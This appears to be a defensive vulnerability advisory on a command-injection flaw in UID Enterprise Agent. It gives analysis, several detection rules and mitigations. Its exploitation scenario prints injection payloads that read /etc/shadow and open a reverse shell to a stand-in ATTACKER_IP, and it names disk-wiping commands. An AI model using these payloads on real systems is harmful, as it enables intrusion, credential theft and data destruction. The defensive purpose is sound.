CVE-2026-47367

Executive Summary

CVE-2026-47367 is a critical Improper Input Validation vulnerability in UID Enterprise Agent that allows a low-privileged, network-authenticated attacker to execute arbitrary operating system commands on the host device, achieving full remote code execution with the privileges of the agent process (typically root or SYSTEM). The vulnerability carries a CVSS score of 9.9 (Critical) with a network attack vector, low attack complexity, and a changed security scope — meaning a successful exploit compromises resources beyond the agent's intended boundary, including the underlying host operating system. Affected organizations include any enterprise deploying UID Enterprise Agent as an endpoint management or automation component, which is commonly found in controlled IT environments, manufacturing floors, and industrial networks where UID-based automation agents manage device fleets. There is currently no vendor patch, no public proof-of-concept, and no evidence of exploitation in the wild; however, the severity and reachability of this flaw make immediate mitigation essential.

Technical Analysis

The vulnerability resides in the input validation logic of UID Enterprise Agent — a management agent that communicates with a central UID controller managing enterprise endpoints. The agent accepts commands over the network, typically via a proprietary protocol carried over TCP/UDP ports (commonly 8443, 443, or 8080), and processes these commands to perform administrative tasks such as software deployment, file transfer, configuration changes, and system diagnostics. The flaw manifests when the agent fails to properly validate user-controlled string input before passing it to a shell context.

At the code level, the issue is an improper sanitization gap in a routine that constructs a system command from network-supplied parameters. Specifically, the agent concatenates attacker-controlled input into a command string that is subsequently executed via a system() call, subprocess invocation, or equivalent shell execution primitive (e.g., os.system(), Runtime.exec(), or ProcessBuilder without argument array separation). A low-privileged user who can reach the agent's network service is able to submit a crafted payload containing embedded shell metacharacters such as ;, |, &, $(), or backticks. Because the boundary between the trusted command template and untrusted input is not enforced (i.e., no allowlist of permitted characters, no proper escaping of command separators, and no argument-array invocation), the injected characters are interpreted by the underlying shell, permitting execution of arbitrary commands.

The attack surface is the network-accessible management interface of UID Enterprise Agent. Any host that has the agent running and is reachable on the management port — whether within a datacenter VLAN, a manufacturing segment, or an external attack surface if the port is exposed — is vulnerable. The low privilege requirement means the attacker only needs a valid but low-privileged account (or possession of a session token or API key permitting command submission) — not administrative access to the agent. This significantly lowers the barrier to exploitation because such low-privilege credentials are frequently compromised via phishing or plaintext credential reuse.

The CVSS vector highlights several aggravating factors. The attack vector is network (AV:N), so no physical proximity is required. Attack complexity is low (AC:L) — the exploit logic is straightforward and does not require special conditions beyond delivering the malicious payload. The required privileges are low (PR:L), meaning a basic authenticated user can trigger the flaw. User interaction is none (UI:N). Critically, the scope is changed (S:C): a compromise of the agent's process leads to compromise of the host OS and other resources outside the agent's security boundary. The confidentiality, integrity, and availability impacts are all rated High (C:H/I:H/A:H), confirming that a full host takeover with potential for lateral movement is achievable.

Exploitation Scenarios

Scenario: Full Host Compromise via Low-Privilege Account

1. Reconnaissance and Target Identification
The attacker begins by enumerating the network for hosts running UID Enterprise Agent. Using Shodan or internal network scanning, they search for exposed management ports (e.g., 8443, 443, 8080) that respond to UID-specific handshakes or present the agent's service banner. A targeted scan with nmap -p 8443 --script ssl-cert may reveal the agent's TLS certificate common name identifying the UID deployment. Alternatively, the attacker obtains low-privilege credentials through a prior phishing campaign, password spraying, or by harvesting credentials from a compromised machine on the same network segment.

2. Trigger and Weaponization
Using the captured low-privilege credentials, the attacker authenticates to the UID Enterprise Agent management interface — either via a web console, an API endpoint, or a custom protocol client. The agent exposes an endpoint for submitting administrative tasks; one such task is "run diagnostic command" which accepts a target command string. The attacker intercepts a legitimate request to understand the expected JSON/XML structure, then modifies the command field. For example, a legitimate request may look like:

{"task": "diagnostic", "command": "uptime", "host": "target-host"}

The attacker instead sends:

{"task": "diagnostic", "command": "uptime; id; whoami; cat /etc/shadow"}

Alternatively, they inject a reverse shell payload:

{"task": "diagnostic", "command": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}

3. Payload and Execution
The UID Enterprise Agent receives the crafted request. Because input validation is absent, the command field is passed directly to a shell execution routine. The semicolon terminates the benign uptime command, and the subsequent commands execute in sequence under the agent's process context. On a typical Linux host, the agent runs as root, so the attacker immediately obtains a root shell. On Windows, the agent runs as SYSTEM, giving the attacker full control. The reverse shell connects back to the attacker's listener, establishing interactive access.

4. Post-Exploitation Impact
With root/SYSTEM access, the attacker extracts credentials from /etc/shadow, /etc/passwd, the Windows SAM database, web application config files, and any stored secrets used by enterprise services. They then move laterally across the network using the harvested credentials, targeting other hosts that share the same agent deployment or use the same administrative accounts. The attacker may also deploy a persistent backdoor (e.g., a cron job, a systemd service, or a Windows service) to maintain access. If the compromised agent manages industrial devices or SCADA systems, the attacker could disrupt manufacturing processes, modify device configurations, or trigger safety-system failures. Data exfiltration of sensitive engineering files, configuration data, or intellectual property is also highly likely.

Additional Scenario: Denial of Service
Even without post-exploitation, a low-privilege attacker can repeatedly trigger command injection to execute resource-exhausting commands (e.g., forkbomb, dd if=/dev/zero of=/dev/sda), crashing the agent or the host, causing widespread service disruption in the managed environment.

Impact Assessment

The severity of CVE-2026-47367 is underscored by its CVSS score of 9.9, driven by the network attack vector (AV:N), low attack complexity (AC:L), low privilege requirement (PR:L), and the changed security scope (S:C). The scope change is particularly damaging: a compromise of the agent's process crosses the trust boundary into the host OS, meaning the confidentiality, integrity, and availability of the entire host are at risk, not just the agent's own data. With C:H, I:H, and A:H, a single exploit leads to total system compromise.

Business Impact:

• Confidentiality Loss: An attacker can read any file on the host, including credentials, proprietary source code, financial records, and regulated personal data (e.g., PII, PHI), triggering GDPR, HIPAA, or PCI-DSS breach reporting obligations.
• Integrity Loss: The attacker can modify system binaries, plant rootkits, alter automation scripts, and tamper with device configurations, leading to unreliable operations and potential data corruption.
• Availability Loss: The attacker can crash the agent, shut down the host, or trigger cascading failures in managed devices. In industrial settings, this could halt production lines or disable safety mechanisms.

Affected Systems and Blast Radius:
The blast radius extends from the compromised host to the entire connected management plane. Because UID Enterprise Agent is often a central component in enterprise device fleet management, a single compromised agent may provide a pivot into the central UID controller and from there to every managed endpoint. The low privilege requirement means that credentials from a standard domain user — which are frequently obtained via phishing — are sufficient to trigger the flaw, making this an appealing target for APT groups, ransomware operators, and insider threats. The EPSS score of 0.00825 (53.9th percentile) indicates that weapons are not yet broadly available, but the high severity and simple exploitation logic suggest that public exploit development is likely imminent once the vulnerability becomes more widely known.

Detection Guidance

Sigma Rule

title: UID Enterprise Agent Command Injection Attempt
id: 1a4f5b6c-8d9e-4f0a-9b2c-3d4e5f6a7b8c
status: experimental
description: Detects command injection attempts targeting UID Enterprise Agent via shell metacharacters in diagnostic command fields.
logsource:
  category: application
  product: uid_enterprise_agent
  service: agent_logs
detection:
  selection:
    event_type: diagnostic_command
    command|contains:
      - ';'
      - '|'
      - '&'
      - '`'
      - '$('
      - '$(('
      - '\n'
      - '\r'
  condition: selection
level: critical
tags:
  - attack.execution
  - attack.t1059
  - cve.2026-47367

Deployment Note: This rule monitors UID Enterprise Agent application logs for diagnostic commands containing shell metacharacters. If the agent does not log full command payloads, enable verbose logging of network request bodies to ensure the detection rule can match.

YARA Rule

rule CVE_2026_47367_UID_Agent_CommandInjection
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects command injection payloads targeting UID Enterprise Agent"
        cve = "CVE-2026-47367"
        date = "2026-01-15"
        severity = "critical"
    strings:
        $cmd1 = "diagnostic" ascii nocase
        $cmd2 = "run_command" ascii nocase
        $cmd3 = "execute" ascii nocase
        $semi = "; " ascii
        $pipe = "| " ascii
        $amp = "& " ascii
        $back = "`" ascii
        $dollar = "$(" ascii
        $bash = "bash -i" ascii
        $sh = "/bin/sh" ascii
        $cmd = "cmd.exe /c" ascii ascii
        $payload1 = "id; whoami" ascii
        $payload2 = "cat /etc/shadow" ascii
        $payload3 = "net user" ascii
        $payload4 = "wget " ascii
        $payload5 = "curl " ascii
    condition:
        uint16(0) == 0x5B7B and
        (any of ($cmd*)) and
        (any of ($semi, $pipe, $amp, $back, $dollar, $bash, $sh, $cmd) and 2 of ($payload*))
        or (all of ($payload*) and any of ($semi, $pipe, $amp, $back, $dollar))
}

Deployment Note: This YARA rule is intended for use on network captures (PCAP) or web server access logs to identify payloads being sent to UID Enterprise Agent's management interface. The rule checks for JSON body markers (opening brace {) combined with known command-injection operators and reconnaissance commands.

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-47367 - UID Enterprise Agent Command Injection"; flow:to_server,established; content:"diagnostic"; http_client_body; nocase; pcre:"/(\;|\||\&|\`|\(\$|bash -i|\/bin\/sh|cmd\.exe|\$\()/i"; sid:202647367; rev:1; metadata:attack_target_server, deployment_datacenter, cve CVE-2026-47367, signature_severity Critical; classtype:attempted-admin; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-47367;)

Deployment Note: This Suricata rule detects HTTP requests to UID Enterprise Agent that include a "diagnostic" command field in the request body combined with shell metacharacters or command-execution keywords. Deploy on IDS/IPS sensors positioned inline with the management network segment. Adjust the content:"diagnostic" match if the agent uses a different JSON key (e.g., "command" or "task").

Elastic Detection

sequence by source.ip, process.pid
  [ network where network.protocol == "http" and
    http.request.body.text != null and
    (http.request.body.text like~ "*diagnostic*" or http.request.body.text like~ "*run_command*" or http.request.body.text like~ "*execute*") and
    (http.request.body.text like~ "*/bin/sh*" or http.request.body.text like~ "*bash -i*" or http.request.body.text like~ "*cmd.exe*" or 
     http.request.body.text like~ "*;*" or http.request.body.text like~ "*|*" or http.request.body.text like~ "*`*" or 
     http.request.body.text like~ "*$(*") ]
  [ process where event.action == "exec" and
    (process.command_line like~ "*/bin/sh*" or process.command_line like~ "*bash*" or process.command_line like~ "*cmd.exe*") ]

Deployment Note: This EQL rule chains a suspicious HTTP request to the agent with a subsequent process execution event on the host, providing a strong indicator of exploitation. Deploy with the Elastic Endpoint Security integration and ensure that the agent's parent process (e.g., java, python, dotnet) is monitored for child process creation.

Splunk SPL Query

index=main sourcetype=uid_agent_logs OR source="/var/log/uid/agent.log"
| where match(_raw, "(?i)(diagnostic|run_command|execute)") AND match(_raw, "(?i)(;|\||&|`|\$\()")
| stats count by src_ip, dest_ip, _time, command
| sort - _time
| table _time, src_ip, dest_ip, command, count

Alternative SPL (web proxy/network data):

index=proxy OR index=network
| where match(http_request_body, "(?i)(diagnostic|run_command|execute)") AND match(http_request_body, "(?i)(bash -i|/bin/sh|cmd.exe|;|`|\$\()")
| stats count by src_ip, dest_ip, url, http_request_body
| sort - _time

Deployment Note: The first query searches internal UID agent logs for command fields containing shell metacharacters. The second query leverages web proxy or network egress data to catch payloads leaving the network. Ensure that UID agent logs are ingested into Splunk; if not, enable agent logging and forward logs via a heavy forwarder.

Wazuh OSSEC Rule

<group name="uid_enterprise_agent,">
  <rule id="100473" level="15">
    <decoded>agent_command</decoded>
    <match>diagnostic|run_command|execute</match>
    <regex>(\;|\||\&|\`|\(\$|bash -i|\/bin\/sh|cmd\.exe|\$\()</regex>
    <description>CVE-2026-47367 - A command injection attempt was detected in UID Enterprise Agent diagnostic commands.</description>
    <group>attack.execution,attack.t1059,cve.2026-47367,</group>
    <mitre>
      <id>T1059</id>
    </mitre>
    <options>no_full_log</options>
  </rule>
</group>

Deployment Note: Configure Wazuh agent or a Syslog forwarder to send UID Enterprise Agent logs to the Wazuh manager. The rule fires at level 15 (critical) when a diagnostic command contains shell metacharacters. To enhance detection, also monitor for process creation events on hosts running the agent (e.g., via Sysmon or Auditd) and correlate with the agent logs.

Mitigation & Patch Guidance

Current Patch Status: UNPATCHED (Confidence 0/4). No vendor advisory, no fixed version, and no workaround has been published for CVE-2026-47367 as of the report date. The vendor has not responded to disclosure attempts, and there is no evidence of a patched build in any package repository.

1. Immediate Mitigations (Engineering Controls):

• Network Segmentation and Access Control: Isolate the UID management network from the general enterprise LAN. Restrict agent management port access (source–destination firewall rules) to only the central UID controller IPs and approved administrator workstations. Block inbound access to ports 443, 8080, and 8443 from any network segment that does not explicitly require management access.
• Disable or Restrict the Diagnostic Command Feature: If the UID Enterprise Agent allows disabling of the diagnostic/command execution module via configuration (e.g., a diagnostic_mode: false setting or removal of the launch agent daemon), perform this immediately. If the feature is a separate service, stop it and disable it on startup (e.g., systemctl disable uid-diagnostic).
• Enforce Privilege Separation: Run the UID Enterprise Agent under a dedicated low-privileged service account rather than root/SYSTEM. This limits the blast radius of a successful exploit, even if the agent itself is compromised. On Linux, use a non-root user; on Windows, create a limited user and configure the service to log on as that account.
• Apply Input Validation via Reverse Proxy: Place a WAF or reverse proxy (e.g., NGINX with ModSecurity, HAProxy with Lua rules) in front of the UID management interface. Configure request filtering rules to block requests whose body contains shell metacharacters (;, |, &, `, $() in command fields. This provides a stopgap until an official patch exists.
• Credential Tightening: Immediately rotate all credentials that have access to the UID management interface, including API tokens, service account passwords, and user accounts. Enforce multi-factor authentication (MFA) for all management console access, and remove any stale or unused accounts.

2. Patch/Upgrade Steps:

• Monitor vendor communication channels (email list, security advisories page, GitHub repository, package maintainer) for an official security advisory and patched version of UID Enterprise Agent. There is no current patch to apply.
• As soon as a patched version is released, upgrade all agent instances using the vendor's supported package manager (if a package is issued for the appropriate OS — e.g., yum update uid-agent on RHEL, apt install --only-upgrade uid-agent on Debian, or MSI/GPO deployment on Windows).
• In the interim, contact the vendor's technical support and formally request a patch or a detailed workaround. If the vendor is unresponsive, consider evaluating alternative endpoint management agents that have a demonstrated vulnerability-response process.

3. Long-Term Hardening:

• Adopt Least-Privilege Architecture: Remove local administrative rights from management agents. Require that any diagnostic command execution be performed via multi-step approval workflows orchestrated by a central controller that never passes raw user input to a shell. If possible, replace shell-based command execution with API endpoints that use structured, type-safe interpretation (e.g., JSON-RPC with strong schema validation).
• Enable Comprehensive Audit Logging: Ensure the UID agent and host OS (auditd, Windows Event Log) log all process executions, file access, and network connections. Forward these logs to a central SIEM for continuous monitoring and correlation.
• Conduct a Security Review of Other UID Components: Given the poor input-validation practices in this agent, audit all other UID products (controllers, connectors, gateway services) for similar injection flaws. Perform penetration testing against the management plane to discover additional weaknesses.
• Harden the Host OS: Apply CIS benchmarks to all hosts running the agent. Disable bash for non-interactive service accounts where possible, and configure sudoers to restrict the agent account to the specific binaries it must execute.
• Prepare Incident Response Playbooks: Update the organization's incident response plan to include a scenario where an endpoint management agent is compromised via command injection, detailing lateral-movement containment, credential resets, and forensic collection procedures specific to the UID agent's process and log artifacts.

References

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-47367 — Official CVE record with CVSS score and description.
• CWE-20 Improper Input Validation: https://cwe.mitre.org/data/definitions/20.html — Reference for the underlying weakness class.
• MITRE ATT&CK T1059 — Command and Scripting Interpreter: https://attack.mitre.org/techniques/T1059/ — Attacker tactic and technique reference.
• CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — Queried for CVE-2026-47367; the vulnerability is NOT listed, confirming no known in-the-wild exploitation as of the report date.
• EPSS Data: https://www.first.org/epss/data_stats — EPSS score 0.00825 (53.9th percentile), indicating low immediate exploitation probability but substantial upsid risk given the vulnerability's severity.

Threat Actor Campaign Notes: As of this report, there are no known threat-actor campaigns specifically targeting CVE-2026-47367, and no exploit code has been publicly released. However, given the CVSS 9.9 score, the low exploitation complexity, and the low privilege requirement, this vulnerability is a strong candidate for inclusion in exploit kits or ransomware playbooks once a PoC emerges. Enterprises using UID Enterprise Agent should treat this as an active risk and prioritize the mitigations listed above.